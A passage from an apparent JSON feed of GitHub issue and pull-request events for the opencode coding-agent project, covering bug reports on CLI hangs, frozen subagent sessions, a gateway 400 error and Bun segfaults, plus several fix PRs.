        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37229",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG]: /compact is not advertised over ACP",
          "text": "### Description When OpenCode runs as an ACP agent in Zed, the built-in `/compact` command is not included in `available_commands_update`. Zed rejects it as an unrecognized command before it reaches OpenCode, even though the ACP service already handles `/compact` through `session.summarize()`. ### Plugins None required. ### OpenCode version 1.18.2 ### Steps to reproduce 1. Configure Zed to run `opencode acp` as an external agent. 2. Open an agent session and enter `/compact`. 3. Zed reports that `/compact` is not recognized and omits it from the available command list. ### Operating System Linux ### Terminal Zed Agent Panel",
          "url": "https://github.com/anomalyco/opencode/issues/37229",
          "createdAt": "2026-07-16T05:57:03Z",
          "updatedAt": "2026-08-13T10:18:44Z",
          "timestamp": "2026-08-13T10:18:44Z",
          "metrics": {
            "reactions": 1,
            "comments": 3
          },
          "labels": [],
          "author": "sunerpy",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2e1740189e2d2bb17c98",
        "signalId": "github:anomalyco/opencode:issue:40747",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40747",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode run hangs indefinitely when the usage quota is exhausted, instead of reporting the error it already has",
          "text": "### Summary When a model's usage quota is exhausted, `opencode run` **never exits and never reports the reason**. The process hangs indefinitely with no output on stdout and nothing but a banner on stderr — even though the error is known internally within ~170 ms and written to opencode's own log file. Any non-interactive use (scripts, CI, an app shelling out to the CLI) therefore hangs until an external timeout kills it, and the caller has no way to tell an exhausted quota from a slow model. The interactive TUI handles this case properly, so this looks specific to the non-interactive `run` path. ### Version `opencode 1.17.11`, Linux x86_64. ### Reproduction With a subscription whose quota is exhausted: ```console $ timeout 90 opencode run --model opencode-go/<any-model> \"say hi\" rc=124 # killed by `timeout`, not by opencode stdout: 0 bytes stderr: 34 bytes # only: ESC[0m \"> build · <model>\" ESC[0m ``` Same result with `--format json` (stdout and stderr both **0 bytes**), and at 120 s and 300 s ceilings. The process never terminates on its own. ### It knows almost immediately `--print-logs --log-level DEBUG` on the same run: ``` 11:42:33.920 INFO run=… message=stream providerID=opencode-go modelID=<model> … 11:42:34.091 ERROR run=… message=\"stream error\" … error.error=\"AI_APICallError: Monthly usage limit reached. Resets in N days. …\" 11:42:36.448 ERROR run=… message=\"stream error\" … small=true agent=title … error.error=\"AI_RetryError: Failed after 3 attempts. Last error: Monthly usage limit reached. …\" ``` 171 ms from stream start to a fully-formed error. It reaches the log file and then goes nowhere else, and the process continues to hang. (The second line is the title-generation agent hitting the same wall after its own retries — possibly relevant to why the run never unwinds.) ### Expected `opencode run` should exit non-zero and print the provider's error. With `--format json`, emitting the existing error envelope on stdout would be enough: ```json {\"type\":\"error\",\"error\":{\"type\":\"GoUsageLimitError\",\"message\":\"Monthly usage limit reached. …\"}} ``` That is the shape errors already take on that stream, so a caller could parse it with no new contract. ### Actual Exit code: none — the process must be killed externally. stdout: empty. stderr: a decorative banner only. ### Why it matters A CLI that hangs forever is worse than one that fails: a wrapper cannot distinguish \"out of quota\" from \"model is slow\" and has to wait out its full timeout budget before giving up, on every subsequent call too. Exiting non-zero with the message that is already in hand would make this a two-line failure instead. --- Identifiers (workspace, session, run ids) redacted from the log excerpts above.",
          "url": "https://github.com/anomalyco/opencode/issues/40747",
          "createdAt": "2026-08-05T21:52:25Z",
          "updatedAt": "2026-08-13T10:12:35Z",
          "timestamp": "2026-08-13T10:12:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Balloota",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fb77f2d1deda6822856a",
        "signalId": "github:anomalyco/opencode:issue:33394",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33394",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "prompt_async returns 204 after startup failure, leaving empty child sessions that appear frozen",
          "text": "## Summary Delegated/subagent sessions can be created successfully, then remain permanently empty while the caller/UI keeps polling them. The immediate trigger I observed was the known `session_message.seq` insertion bug, but the user-visible failure is broader: `POST /session/{id}/prompt_async` can fail during startup, publish/log `session.error`, still return HTTP 204, and leave a valid child session with **zero** user/assistant messages. That makes delegation features look frozen: the child session exists, `/session/{id}/message` returns 200 with an empty list, and monitors/tools keep waiting for messages that will never be written. Related existing reports/fix: - #31204 - #31413 - #31419 Those cover the `session_message.seq` crash itself. This issue is about the higher-level API/state behavior that turns a startup failure into a silent, empty, frozen child session. ## Environment observed - OpenCode version reported by CLI: `1.14.48` - OS: macOS / darwin arm64 - Delegation plugin in use: `oh-my-openagent` - Local DB: `~/.local/share/opencode/opencode.db` - Local server logs: `~/.local/share/opencode/log/2026-06-22T143351.log` ## What happened A parent session launched five delegated child sessions. Each child session row was created with a parent ID, title, directory, and model, but no message rows or parts were ever written. Example affected child sessions: ```text ses_1103540cfffe3v9MYa17MzZnc1 GDD Angle spine (@NeoAgent (Builder) subagent) ses_110354087ffeubDsuGjBMTETWX GDD social LLM (@NeoAgent (Builder) subagent) ses_110354060ffe40fMS6hHJlilGS GDD input feel rooms (@NeoAgent (Builder) subagent) ses_110354044ffevRr4Bva6HfVaXQ Engine Angle docs (@Odin (Builder) subagent) ses_110353ffbffe1F9p3vKXuus3Ze Angle spec capture (@Odin (Builder) subagent) ``` DB state for those sessions: ```text session row: present parent_id: present message rows: 0 part rows: 0 session_message rows: 0 ``` The logs show the important failure mode. For each child session, OpenCode logged `prompt_async failed [object Object]` and published `session.error`, but the HTTP request still returned 204: ```text POST /session/ses_1103540cfffe3v9MYa17MzZnc1/prompt_async ERROR prompt_async failed [object Object] service=bus type=session.error publishing POST /session/ses_1103540cfffe3v9MYa17MzZnc1/prompt_async 204 ``` After that, the server/UI continued polling: ```text GET /session/ses_1103540cfffe3v9MYa17MzZnc1/message 200 GET /session/ses_110354087ffeubDsuGjBMTETWX/message 200 ... ``` Those message responses were empty indefinitely because the initial user message was never persisted. ## Why this is especially confusing There are several inconsistent surfaces after the startup failure: 1. The child session exists in the DB. 2. `GET /session/{child}/message` succeeds, but returns no messages. 3. The original `prompt_async` HTTP call returned 204 even though startup failed. 4. `session.error` is only visible through logs/bus, not through the prompt caller as an actionable failure. 5. Some list-based SDK/plugin code treats child sessions as nonexistent because `session.list()` does not include them even though direct `session.get(id)`/`session.messages(id)` can work for real child sessions. So downstream tools see either: - “session exists but has no messages, keep polling”, or - “session not found”, depending on whether they use list-based existence checks or direct message lookup. Both obscure the real failure. ## Root cause observed There appear to be two layers: ### 1. Immediate trigger: `session_message.seq` null/NOT NULL failure The empty child sessions were created seconds before applying a local workaround for the known `session_message.seq` issue. This matches #31204/#31413/#31419. In the failing path, message/session projection insertion can fail before any user message is persisted. That leaves the newly-created child session shell without messages. ### 2. Higher-level bug: prompt startup failure is not propagated to the caller/session state Even after the internal `prompt_async` startup failed, the HTTP layer returned 204. That means callers interpret the prompt as accepted and enter their polling loop. A delegated session needs a startup invariant: > If `prompt_async` returns accepted/success, at least the initial user message should be durably visible, or the session should be durably marked failed. Currently, a third state is possible: ```text session created prompt failed before first message persisted HTTP returned 204 no durable message/error visible to polling clients ``` That is the frozen-empty state. ## Expected behavior If `prompt_async` fails before persisting the initial user message, one of these should happen: 1. `POST /session/{id}/prompt_async` returns a non-2xx error with the underlying failure, or 2. the session is durably marked failed/error and exposed through session status/messages, or 3. an error message/part is appended to the session so clients polling messages can terminate with a visible failure. Any of these would be much better than a 204 plus an empty message stream. ## Actual behavior `prompt_async` logs/publishes an error but returns 204. The child session remains queryable and empty. Delegation monitors continue polling until their own timeout/abort logic, making the feature appear frozen. ## Proposed fix ### A. Fix the known `session_message.seq` projection bug Merge or extend #31419: - Treat `event.seq == null` as missing, not just `undefined`. - Ensure every `session_message` insert gets a valid per-session `seq`. - Add a regression test around `session.next.agent.switched` and any `appendMessage` paths that create projection rows. I would also consider a migration/backfill/default safeguard so a future missed insert path cannot take down message startup entirely. ### B. Make `prompt_async` startup atomic or visibly failed Add a guard around the startup path: - after creating the session and before returning 204, ensure the initial user message was persisted; or - if the async worker is intentionally fire-and-forget, persist a startup-failed state/error when message creation fails. The key contract should be: ```text 204/accepted => callers can observe at least one new message or a running state startup failure => non-2xx response or durable session error ``` Do not let the API return accepted while leaving no observable message/error state. ### C. Expose child session existence consistently If `session.get(id)` and `session.messages(id)` can address child sessions, list-based existence checks need a reliable way to discover them too. Options: - include child sessions in `session.list()` with `parentID`, or - add/document `includeChildren=true`, or - provide/document `session.get(id)` as the correct existence check and avoid list-only existence assumptions in SDK helpers. This is not the primary crash, but it compounds the freeze by causing some tooling to report “Session not found” for real child sessions. ### D. Tests that would catch this Suggested regression tests: 1. Force `appendMessage`/projection insert failure during `prompt_async` startup and assert the HTTP caller does not receive a successful accepted response without a durable session error. 2. Create a child session, trigger startup failure, and assert `/session/{id}/message` does not remain silently empty forever without an error/status signal. 3. Create a normal child session with messages and assert direct `session.get(id)`/`session.messages(id)` and the intended listing/discovery API agree on its existence. 4. Regression for #31204/#31413: `session.next.agent.switched` writes `session_message.seq` correctly when `event.seq` is null. ## Local workaround used for confirmation I locally worked around the DB constraint issue and added plugin-side bootstrap checks so delegation no longer polls forever: - after dispatching a delegated prompt, poll `session.messages(id)` briefly; - if no new user/assistant message appears, treat startup as failed immediately; - for session reading, use direct `session.messages(id)`/`session.get(id)` instead of rejecting child sessions based only on `session.list()`. That workaround made the symptoms explicit: - completed delegated children can be read again; - old zero-message child shells now report “No messages found” instead of appearing frozen/missing; - new delegation smoke test completes normally. The durable fix should be in OpenCode core/API so plugin/tooling authors do not each need to implement their own bootstrap-detection workaround.",
          "url": "https://github.com/anomalyco/opencode/issues/33394",
          "createdAt": "2026-06-22T16:27:10Z",
          "updatedAt": "2026-08-13T10:02:36Z",
          "timestamp": "2026-08-13T10:02:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "DanRioDev",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:25ea8bda2cdab71897a1",
        "signalId": "github:anomalyco/opencode:pull_request:42297",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42297",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session-ui): preserve caret after prompt editor rebuild",
          "text": "### Issue for this PR Related to #37037 / #36210 (caret jumps around in the prompt input while the session updates). This PR fixes the variant I could reproduce and verify on the current v2 composer: inserting a @mention mid-text on the **session page** collapses the caret to the END of the prompt instead of keeping it right after the mention. I could not reproduce the streaming-output case from #37037 on current `dev`, so I only claim the mention-insertion scenario here. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `renderPromptInputV2Editor` rebuilds the editor DOM (`replaceChildren`) whenever the prompt store changes outside a local input (mention insertion, history navigation, followup edit). After the rebuild it always collapsed the caret to the end of the editor, ignoring the cursor position stored in the prompt store. Reproduced on the session page: after inserting `@src/index.ts` mid-text, the caret lands at offset 32 (end of a 32-char prompt) instead of 21 (right after the mention). Changes in `packages/session-ui/src/v2/components/prompt-input`: - `interaction.ts`: expose `cursor()` on the controller so the editor can read the authoritative stored caret position. - `index.tsx`: restore the caret from the stored cursor after a rebuild, falling back to the pre-rebuild DOM caret when no cursor is stored. Mentions are uneditable spans that still occupy their text length, so `setPromptInputV2Cursor` places the caret before/after a mention, never inside it. ### How did you verify your code works? - New e2e regression test `packages/app/e2e/regression/prompt-caret-after-mention.spec.ts`: types \"please fix the bug\", moves the caret to offset 7, inserts `@src/index.ts` mid-text on a session page, and asserts the caret lands at offset 21. It failed before the fix (caret at 32) and passes after. Run with: `bunx playwright test e2e/regression/prompt-caret-after-mention.spec.ts` - `bun run typecheck` in `packages/session-ui` passes. - `bun test src` in `packages/session-ui`: 83 tests pass. - Existing prompt e2e (`prompt-input-v2-command-draft`) still passes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42297",
          "createdAt": "2026-08-13T10:00:07Z",
          "updatedAt": "2026-08-13T10:00:18Z",
          "timestamp": "2026-08-13T10:00:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:issue"
          ],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:cbe5a85ab3f669c9729c",
        "signalId": "github:anomalyco/opencode:pull_request:42197",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42197",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(stats): keep tablet chart tooltips above bars",
          "text": "## Summary - raise the active top-model chart bar within the tablet breakpoint - keep its static tooltip above later chart bars without changing desktop or mobile stacking ## Validation - `bun typecheck` (`packages/stats/app`) - `bun --bun run build` (`packages/stats/app`) - Playwright visual check at 767, 768, 927, and 929 px; the tooltip layering changes only within the 768–928 px breakpoint - pointer hover and keyboard focus both activate the corrected stacking layer Requested by: @adamdotdevin (Adam via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42197",
          "createdAt": "2026-08-13T00:35:46Z",
          "updatedAt": "2026-08-13T09:55:16Z",
          "timestamp": "2026-08-13T09:55:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "adamdotdevin"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f5bce33b2ed7d91e2db3",
        "signalId": "github:anomalyco/opencode:issue:42091",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42091",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "BUG: `deepseek-v4-pro` on zen/go `/v1/messages` returns 400 `Empty input messages` for string content (flash works on same request)",
          "text": "## Summary On the OpenCode Zen gateway `https://opencode.ai/zen/go`, the Anthropic-compatible endpoint `POST /v1/messages` fails for **`deepseek-v4-pro`** when `messages[].content` is passed as a **string**. The exact same request with **`deepseek-v4-flash`** returns 200 OK. Switching `deepseek-v4-pro` to the **array form** of `content` also works. This only affects `deepseek-v4-pro` on the Anthropic endpoint — the OpenAI-compatible endpoint and `deepseek-v4-flash` are unaffected. ## Environment | Item | Value | |---|---| | Gateway endpoint | `https://opencode.ai/zen/go` | | Failing endpoint | `POST /v1/messages` (Anthropic-compatible) | | API version header | `anthropic-version: 2023-06-01` | | Failing model | `deepseek-v4-pro` | | Control model | `deepseek-v4-flash` (same request returns 200) | | Auth | `x-api-key: <token>` | ## Reproduction ```bash # Fails: 400 Empty input messages curl -s https://opencode.ai/zen/go/v1/messages \\ -H \"x-api-key: $KEY\" \\ -H \"anthropic-version: 2023-06-01\" \\ -H \"content-type: application/json\" \\ -d '{\"model\":\"deepseek-v4-pro\",\"max_tokens\":30,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' # Control: same request with deepseek-v4-flash returns 200 OK curl -s https://opencode.ai/zen/go/v1/messages \\ -H \"x-api-key: $KEY\" \\ -H \"anthropic-version: 2023-06-01\" \\ -H \"content-type: application/json\" \\ -d '{\"model\":\"deepseek-v4-flash\",\"max_tokens\":30,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' ``` ## Error response ```json { \"error\": { \"param\": null, \"type\": \"invalid_request_error\", \"code\": \"invalid_request_error\", \"message\": \"Error from provider (Console Go): Upstream request failed: [invalid_request_error] Empty input messages\" } } ``` The error is thrown by the `Console Go` upstream provider. ## Test matrix (same endpoint, same payload, only the model changes) | Case | `deepseek-v4-flash` | `deepseek-v4-pro` | |---|---|---| | Anthropic `/v1/messages` + string content | 200 OK | **400 Empty input messages** | | Anthropic `/v1/messages` + array content | 200 OK | 200 OK | | OpenAI `/v1/chat/completions` + string content | 200 OK | 200 OK | | Anthropic `/v1/messages` + stream + array content | — | 200, SSE works | ## Exact trigger condition - **Endpoint**: only the Anthropic-compatible `/v1/messages` - **Model**: only `deepseek-v4-pro` (same request works for `deepseek-v4-flash`) - **Trigger**: `messages[].content` is a **string** (`\"content\":\"hi\"`); the array form (`\"content\":[{\"type\":\"text\",\"text\":\"hi\"}]`) works ## Impact The Anthropic SDK accepts a string shorthand for `content`, e.g. `client.messages.create(model=\"deepseek-v4-pro\", messages=[{\"role\":\"user\",\"content\":\"hi\"}])`. Serialized as string content, this directly triggers the 400. Any string-content Anthropic-SDK call to `deepseek-v4-pro` fails, while `deepseek-v4-flash` or the array form does not. ## Related This overlaps with #34331 (same `deepseek-v4-pro` error observed there), but that issue is broader and predates this specific flash-vs-pro contrast. This report isolates the `deepseek-v4-pro`-only regression against a working control model. Workaround: pass `content` as the array form `[{\"type\":\"text\",\"text\":\"...\"}]` for `deepseek-v4-pro`.",
          "url": "https://github.com/anomalyco/opencode/issues/42091",
          "createdAt": "2026-08-12T17:12:02Z",
          "updatedAt": "2026-08-13T09:54:07Z",
          "timestamp": "2026-08-13T09:54:07Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "TuTouPower",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6bb0af5e8191cb565fb7",
        "signalId": "github:anomalyco/opencode:pull_request:42296",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42296",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): drop empty text separators between signed reasoning blocks",
          "text": "### Issue for this PR Closes #41738 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Anthropic signs `thinking`/`redacted_thinking` reasoning blocks and rejects any modification to the assistant message that contains them. Empty text parts (`\"\"`) can appear as structural separators between reasoning groups (e.g. `step-start, reasoning(sig), text(\"\"), step-start, reasoning(sig)`). Previously these were rewritten to a single space (`\" \"`) to survive AI SDK filtering, but that mutation itself causes Anthropic to reject the signed reasoning blocks as \"modified\" — breaking compaction for any session using extended thinking. This drops empty text parts entirely when signed reasoning is present. Step-start parts already delimit reasoning groups, so the separator is not needed. The signed blocks remain byte-for-byte identical to the original response. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/message-v2.test.ts` — 37 pass, 0 fail - `cd packages/opencode && bun test test/session/compaction.test.ts` — 52 pass, 1 skip, 0 fail - `cd packages/opencode && bun typecheck` — clean - Changed-file Prettier and `git diff --check` Two new tests verify that signed reasoning and redacted thinking blocks survive `toModelMessages` with their signatures intact and no mutated text separator. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42296",
          "createdAt": "2026-08-13T09:50:59Z",
          "updatedAt": "2026-08-13T09:54:00Z",
          "timestamp": "2026-08-13T09:54:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ffe4393cc900aaee7cc1",
        "signalId": "github:anomalyco/opencode:issue:42295",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42295",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:Token Usage & Cache Hit Dashboard per Session",
          "text": "### Describe the enhancement you want to request Add a live token usage and cache analytics panel visible during an active OpenCode session. This would display: - Total tokens consumed in the current session (input + output separately) - Cache hit count and cache hit ratio as a percentage - Estimated cost for the current session based on the model being used - A per-message breakdown showing tokens used per exchange Right now there is no visibility into how much context is being consumed during a session. This creates two problems. First, developers have no idea when they are approaching context limits until the model starts degrading in quality. Second, there is no way to evaluate whether caching is actually working effectively across a session. A token usage panel solves both. It helps developers make informed decisions about when to start a new session, which parts of their workflow are token-heavy, and whether their cache configuration is performing as expected. This is especially useful for long agentic sessions where token consumption compounds quickly and cost visibility matters.",
          "url": "https://github.com/anomalyco/opencode/issues/42295",
          "createdAt": "2026-08-13T09:49:22Z",
          "updatedAt": "2026-08-13T09:50:33Z",
          "timestamp": "2026-08-13T09:50:33Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "GuixJoy",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2f91a0d9bcb505d9d3f6",
        "signalId": "github:anomalyco/opencode:pull_request:19959",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:19959",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): add local server provider with auto model discovery",
          "text": "### Issue for this PR Closes #6231 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a `local` provider to `CUSTOM_LOADERS` that auto-discovers models from any OpenAI-compatible `/v1/models` endpoint at startup. When configured with a `baseURL`, it fetches the model list, registers each model, and returns `autoload: true`. If the endpoint is unreachable or returns nothing, it returns `autoload: false` and the provider is silently skipped. Also fixes the `CUSTOM_LOADERS` loop to allow custom loaders that don't have a models.dev entry — previously they were silently skipped because `database[providerID]` returned undefined and the loop hit `continue`. Usage: ```json { \"provider\": { \"local\": { \"options\": { \"baseURL\": \"http://localhost:11434/v1\", \"apiKey\": \"optional-key\" } } } } ``` This is an alternative to #17670 that solves the same problem in ~50 lines with no new config surface. ### How did you verify your code works? Three tests covering: - Successful discovery from a mocked `/models` endpoint - Graceful handling when the endpoint is unreachable - Graceful handling when `baseURL` is not configured Tested locally against llama-server and LM Studio. ### Screenshots / recordings _N/A — no UI changes._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/19959",
          "createdAt": "2026-03-29T23:02:40Z",
          "updatedAt": "2026-08-13T09:47:32Z",
          "timestamp": "2026-08-13T09:47:32Z",
          "metrics": {
            "reactions": 4,
            "comments": 3
          },
          "labels": [],
          "author": "hmblair",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5de3eeeb61a3f67a29b2",
        "signalId": "github:anomalyco/opencode:issue:40219",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40219",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Bun segfault (address 0x0) recurring with identical crash signature during long agentic sessions with high subprocess-spawn count",
          "text": "## Summary `opencode` (single instance, no other opencode process running) has crashed twice with an identical Bun segfault signature during long-running agentic sessions with heavy tool-call/subprocess-spawn activity. Both crashes decode to the **same `bun.report` URL**, indicating a deterministic, reproducible crash location rather than two unrelated incidents. ``` panic(main thread): Segmentation fault at address 0x0 oh no: Bun has crashed. This indicates a bug in Bun, not your code. ``` Crash report: https://bun.report/1.3.14/Ba10d9b296mxGugogC4664tE+ypR0gxx/E4pi4/E6lqggFynh4/E648v2Dszo92CwmzppDksiusC00hhsC8u5gsCy8wK0oxK6iiypCA2AA ## Environment - **opencode version**: 1.18.11 - **Embedded Bun**: 1.3.14 (Linux x64 baseline) - **OS**: Ubuntu 24.04.1, kernel `7.0.0-28-generic`, glibc 2.39 - **CPU**: sse42 popcnt avx avx2 ## Incident 1 - Single `opencode` instance running (verified via `ps aux` afterward — no concurrent instance) - Run had been active handling multiple interleaved subagent sessions (multi-agent workflow across several git worktrees) for an extended period - At crash time: `Elapsed: 6863017ms | User: 5051737ms | Sys: 631260ms`, `RSS: 0.24GB | Peak: 1.26GB`, `spawn(435)` - System memory at time of investigation (shortly after): 15Gi total, ~658Mi free, 375Mi swap in use — under memory pressure, though not from opencode's own RSS ## Incident 2 (same crash signature) - Also single instance (confirmed no concurrent opencode process) - `Elapsed: 5203283ms | User: 5746267ms | Sys: 651745ms`, `RSS: 0.28GB | Peak: 1.69GB` - `jsc spawn(10273)` — over 10k child processes had been spawned by this Bun process over the session - `fetch(725)` network requests - Session log shows the process was mid-loop on a single subagent session (`agent=general mode=subagent`), doing rapid consecutive tool-call steps (edits, bash, chrome-devtools calls) roughly every 3–10 seconds for the run's duration, each triggering opencode's per-step git snapshot tracking (a `git` subprocess spawn logged as `tracking hash=...` on nearly every step) - The structured log (`~/.local/share/opencode/log/opencode.log`) simply stops mid-step with no shutdown/error entry, consistent with an abrupt native crash rather than a JS-level exception ## Observations / possible contributing factors 1. Both crashes occurred after long-running sessions with very high cumulative subprocess-spawn counts (435 and 10,273 respectively) — opencode's per-tool-call-step git snapshot tracking spawns a `git` subprocess on nearly every step, in addition to whatever the agent's own bash/tool calls spawn. 2. System-wide memory pressure was present in at least one incident (658Mi free of 15Gi), though opencode's own RSS was modest (<2GB peak). 3. Not caused by multiple concurrent opencode instances — verified single process both times. 4. Identical `bun.report` hash across two separate incidents suggests a deterministic crash path (same code location), not a random race — but I don't have access to the decoded native stack trace (the `bun.report` link only shows a \"crash report sent\" confirmation page, not the trace itself). ## What I've ruled out - Multiple concurrent `opencode` processes writing to the same sqlite db (verified only one process running in both incidents) - An unrelated corrupted git object in `~/.local/share/opencode/snapshot/.../objects/` causing repeated hourly `git repack` failures — real issue, present in logs, but timestamps don't correlate with either crash ## Trimmed log excerpts (structured log, redacted) These are the last lines from `~/.local/share/opencode/log/opencode.log` for each crashing run, right up to where the log simply stops (no panic/shutdown line is ever written — the structured logger doesn't capture the native crash, it just goes silent). Paths referencing unrelated private repos have been redacted; everything diagnostically relevant (run/session ids, step cadence, tool/stream activity) is intact. <details> <summary>Incident 1 — <code>run=8f05b4e6</code>, ends 2026-08-02T17:50:55.588Z</summary> ``` timestamp=2026-08-02T17:50:18.376Z level=INFO run=8f05b4e6 message=evaluated permission=bash pattern=\"sleep 12\" action.action=allow timestamp=2026-08-02T17:50:18.376Z level=INFO run=8f05b4e6 message=evaluated permission=bash pattern=\"pdftoppm -png -r 96 deco-variants.pdf var\" action.action=allow timestamp=2026-08-02T17:50:30.518Z level=INFO run=8f05b4e6 message=loop session.id=ses_03c883f02ffev4rbDNAyltf27u step=190 timestamp=2026-08-02T17:50:30.576Z level=INFO run=8f05b4e6 message=process session.id=ses_03c883f02ffev4rbDNAyltf27u messageID=msg_fc3994883001vePw25Zq9CLV9D timestamp=2026-08-02T17:50:30.577Z level=INFO run=8f05b4e6 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03c883f02ffev4rbDNAyltf27u small=false agent=general mode=subagent timestamp=2026-08-02T17:50:31.127Z level=ERROR run=8f05b4e6 message=\"stream error\" session.id=ses_03c883f02ffev4rbDNAyltf27u error.error=\"AI_APICallError: Rate limit exceeded. Please try again later.\" timestamp=2026-08-02T17:50:54.863Z level=INFO run=8f05b4e6 message=loop session.id=ses_03c887e21ffeOgoVfbLQBiHwWF step=213 timestamp=2026-08-02T17:50:54.921Z level=INFO run=8f05b4e6 message=process session.id=ses_03c887e21ffeOgoVfbLQBiHwWF messageID=msg_fc399a79e001JpI4GFa4X0UK5W timestamp=2026-08-02T17:50:54.921Z level=INFO run=8f05b4e6 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03c887e21ffeOgoVfbLQBiHwWF small=false agent=general mode=subagent timestamp=2026-08-02T17:50:55.588Z level=ERROR run=8f05b4e6 message=\"stream error\" session.id=ses_03c887e21ffeOgoVfbLQBiHwWF error.error=\"AI_APICallError: Rate limit exceeded. Please try again later.\" --- [log ends here — process crashed silently; next log line is a fresh instance starting 49s later] --- ``` Notable: two different subagent sessions in the same run both hit `Rate limit exceeded` within ~24s of each other, immediately before the process died. </details> <details> <summary>Incident 2 — <code>run=46b9e069</code>, ends 2026-08-03T05:23:45.243Z</summary> ``` timestamp=2026-08-03T05:23:31.876Z level=INFO run=46b9e069 message=tracking hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:31.911Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=336 timestamp=2026-08-03T05:23:31.997Z level=INFO run=46b9e069 message=process session.id=ses_03a235b15ffe7x5NafNq3gRolO messageID=msg_fc613c3df001To1zWO1kqZABU0 timestamp=2026-08-03T05:23:31.998Z level=INFO run=46b9e069 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03a235b15ffe7x5NafNq3gRolO small=false agent=general mode=subagent timestamp=2026-08-03T05:23:38.463Z level=INFO run=46b9e069 message=evaluated permission=bash pattern=\"grep 